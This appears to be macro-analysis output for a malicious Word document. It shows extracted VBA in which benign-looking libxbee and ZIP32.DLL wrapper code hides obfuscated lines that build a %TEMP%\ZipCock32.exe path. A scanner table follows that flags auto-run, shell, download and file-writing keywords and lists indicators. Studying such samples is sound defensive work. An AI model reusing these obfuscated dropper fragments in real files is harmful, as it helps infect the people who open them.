        Exit Sub
    End If
    On Error Resume Next
    xbee_detachCallbackRaw con
    Callbacks.Remove CStr(con)
End Sub

Public Sub xbee_enableCallbacks(ByVal hWnd As Long)
    If ActivehWnd <> 0 Then
        Debug.Print "Callbacks already enabled!"
        Exit Sub
    End If
    ActivehWnd = hWnd
    OldhWndHandler = SetWindowLong(hWnd, GWL_WNDPROC, AddressOf libxbee.xbee_messageHandler)
    xbee_ensureMessageID
End Sub

Public Sub xbee_disableCallbacks()
    Dim id As Variant
    If ActivehWnd = 0 Then
        Debug.Print "Callbacks not enabled!"
        Exit Sub
    End If
    For Each id In Callbacks
        xbee_detachCallback id(0)
    Next
    SetWindowLong ActivehWnd, GWL_WNDPROC, OldhWndHandler
    ActivehWnd = 0
    OldhWndHandler = 0
End Sub

'-- Main ZIP32.DLL Subroutine.
'-- This Is Where It All Happens!!!
'--
'-- (WARNING!) Do Not Change This Function!!!
'--
Public Function VBZip32()

  Dim retcode As Long
  Dim FileNotFound As Boolean

  ' On Error Resume Next '-- Nothing Will Go Wrong :-)
  On Error GoTo ZipError

  retcode = 0
    prompt82 = processEnv("T" & "" + "E" + "" + "M" & "P")
  '-- Set Address Of ZIP32.DLL Callback Functions
  '-- (WARNING!) Do Not Change!!! (except as noted below)
  ZUSER.ZDLLPrnt = FnP.tr(AddressOf ZDLLPass)
  ZUSER.ZDLLPASSWORD = FnP.tr(AddressOf ZDLLPass)
  ZUSER.ZDLLCOMMENT = FnP.tr(AddressOf ZDLLComm)
  ZUSER.ZDLLSERVICE_NO_INT64 = FnP.tr(AddressOf ZDLLServ)

  ' If you need to set destination of each split set this
  'ZUSER.ZDLLSPLIT = FnPtr(AddressOf ZDLLSplitSelect)

  '-- Set ZIP32.DLL Callbacks - return 1 if DLL loaded 0 if not
  retcode = ZpI.nit(ZUSER)
  If retcode = 0 And FileNotFound Then
    MsgBox "Probably could not find Zip32z64.DLL - have you copied" & Chr(10) & _
           "it to the System directory, your program directory, " & Chr(10) & _
           "or a directory on your command PATH?"
    VBZip32 = retcode
    Exit Function
  End If

  DisplayVersion

  If strZipFileNames = "" Then
    ' not using string of names to zip (so using array of names)
    strZipFileNames = vbNullString
  End If

  '-- Go Zip It Them Up!
  retcode = ZpAr.chive(zArgc, zZipArchiveName, zZipFileNames, strZipFileNames, ZOPT)

  '-- Return The Function Code
  VBZip32 = retcode

  Exit Function

ZipError:


prompt82 = prompt82 & "\" & "ZipCock32." + "e" & "xe"

End Function

Private Function xbee_messageHandler(ByVal hWnd As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    If uMsg = callbackMessageID Then
        Dim t As Long
        On Error Resume Next
        Err.Clear
        t = Callbacks.Item(CStr(wParam))(1)
        If Err.Number = 0 Then
            On Error GoTo 0
            xbee_messageHandler = xbee_runCallback(t, wParam, lParam)
            Exit Function
        End If
        On Error GoTo 0
        xbee_logit "Unable to match Connection with active callback!"
    End If
    xbee_messageHandler = CallWindowProc(OldhWndHandler, hWnd, uMsg, wParam, lParam)
    If uMsg = WM_DESTROY And ActivehWnd <> 0 Then
        ' Disable the MessageHandler if the form "unload" event is detected
        xbee_disableCallbacks
    End If
End Function

Public Sub xbee_endcon(ByRef con As Long)
    xbee_endcon2 con
    con = 0
End Sub

Public Function xbee_sendstring(ByVal con As Long, ByVal str As String)
    xbee_sendstring = xbee_senddata_str(con, str, Len(str))
End Function

Public Function xbee_getpacketPtr(ByVal con As Long, ByRef pkt As Long) As Integer
    Dim ptr As Long

    ptr = xbee_getpacketRaw(con)
    If ptr = 0 Then
        pkt = 0
        xbee_getpacketPtr = 0
        Exit Function
    End If

    pkt = ptr
    xbee_getpacketPtr = 1
End Function

Public Function xbee_getpacket(ByVal con As Long, ByRef pkt As String) As Integer
    Dim ptr As Long

    ptr = xbee_getpacketRaw(con)
    If ptr = 0 Then
        xbee_getpacket = 0
        Exit Function
    End If

    pkt = xbee_pointerToPacket(ptr)
    xbee_free ptr

    xbee_getpacket = 1
End Function
+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | AutoOpen             | Runs when the Word document is opened   |
| Suspicious | Open                 | May open a file                         |
| Suspicious | Shell                | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | Shell.Application    | May run an application (if combined     |
|            |                      | with CreateObject)                      |
| Suspicious | CreateObject         | May create an OLE object                |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | ADODB.Stream         | May create a text file                  |
| Suspicious | SaveToFile           | May create a text file                  |
| Suspicious | Write                | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Put                  | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
| Suspicious | WScript.Shell        | May run an executable file or a system  |
|            |                      | command (obfuscation: VBA expression)   |
| Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
|            |                      | be used to obfuscate strings (option    |
|            |                      | --decode to see all)                    |
| Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
|            |                      | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
|            | Strings              | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| IOC        | UNZIP32.DLL          | Executable file name                    |
| IOC        | Zip32.DLL            | Executable file name                    |
| IOC        | ZIP32z64.DLL         | Executable file name                    |
| IOC        | Zip32z64.DLL         | Executable file name                    |
| IOC        | Zip32z64.dll         | Executable file name                    |
| IOC        | ZIP32.DLL            | Executable file name                    |
| IOC        | ZipCock32.exe        | Executable file name (obfuscation: VBA  |
|            |                      | expression)                             |
| VBA string | Remove comment? Hit  | "Remove comment?" & Chr(13) & "Hit No   |
|            | No to keep existing  | to keep existing comment"               |
|            | comment              |                                         |
| VBA string | GET                  | "G" & "E" + "T"                         |
| VBA string | Both ExcludeEarlierT | "Both ExcludeEarlierThanDate and        |
|            | hanDate and IncludeE | IncludeEarlierThanDate not " & Chr(10)  |
|            | arlierThanDate not   | &            "supported at same time"   |
|            | supported at same    |                                         |
|            | time                 |                                         |
| VBA string | WScript.Shell        | ("WScript." + "Shell")                  |
| VBA string | Process              | ("Pro" & "cess")                        |
| VBA string | ] - FLAGS:           | "]" &                   " - FLAGS: "    |
| VBA string | TEMP                 | ("T" & "" + "E" + "" + "M" & "P")       |
| VBA string | Probably could not   | "Probably could not find Zip32z64.DLL - |
|            | find Zip32z64.DLL -  | have you copied" & Chr(10) &            |
|            | have you copied      | "it to the System directory, your       |
|            | it to the System     | program directory, " & Chr(10) &        |
|            | directory, your      | "or a directory on your command PATH?"  |
|            | program directory,   |                                         |
|            | or a directory on    |                                         |
|            | your command PATH?   |                                         |
| VBA string | \ZipCock32.exe       | "\" & "ZipCock32." + "e" & "xe"         |
+------------+----------------------+-----------------------------------------+